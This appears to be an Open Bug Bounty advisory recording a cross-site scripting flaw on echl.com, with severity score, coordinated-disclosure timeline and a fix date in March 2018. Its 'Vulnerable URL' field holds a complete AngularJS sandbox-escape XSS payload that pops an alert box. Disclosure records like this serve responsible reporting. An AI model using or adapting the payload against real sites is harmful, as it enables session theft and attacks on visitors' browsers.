echl.com XSS vulnerability

2018-03-03T22:03:00
ID OBB:573196
Type openbugbounty
Reporter pacenoge
Modified 2018-04-02T22:03:00

Description

Open Bug Bounty ID: OBB-573196

Description| Value
---|---
Affected Website:| echl.com
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.echl.com/?s=%7B%7Bc%3D%27%27.sub.call;b%3D%27%27.sub.bind;a%3D%27%27.sub.apply;c.$apply%3D$apply;c.$eval%3Db;op%3D$root.$$phase;$root.$$phase%3Dnull;od%3D$root.$digest;$root.$digest%3D(%7B%7D).toString;C%3Dc.$apply(c);$root.$$phase%3Dop;$root.$digest%3Dod;B%3DC(b,c,b);$evalAsync(%22astNode%3Dpop();astNode.type%3D%27UnaryExpression%27;astNode.operator%3D%27(window.X%3Fvoid0:(window.X%3Dtrue,alert(%2FOPENBUGBOUNTY%2F)))%20%27;astNode.argument%3D%7Btype:%27Identifier%27,name:%27foo%27%7D;%22);m1%3DB($$asyncQueue.pop().expression,null,$root);m2%3DB(C,null,m1);%5B%5D.push.apply%3Dm2;a%3D%27%27.sub;$eval(%27a(b.c)%27);%5B%5D.push.apply%3Da;%7D%7D
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 3 March, 2018 22:03 GMT
Vulnerability Verified:| 3 March, 2018 22:10 GMT
Website Operator Notified:| 3 March, 2018 22:10 GMT
Vulnerability Published:| 3 March, 2018 22:10 GMT[without any technical details]
Vulnerability Fixed:| 17 March, 2018 02:40 GMT
Public Disclosure:| 2 April, 2018 22:03 GMT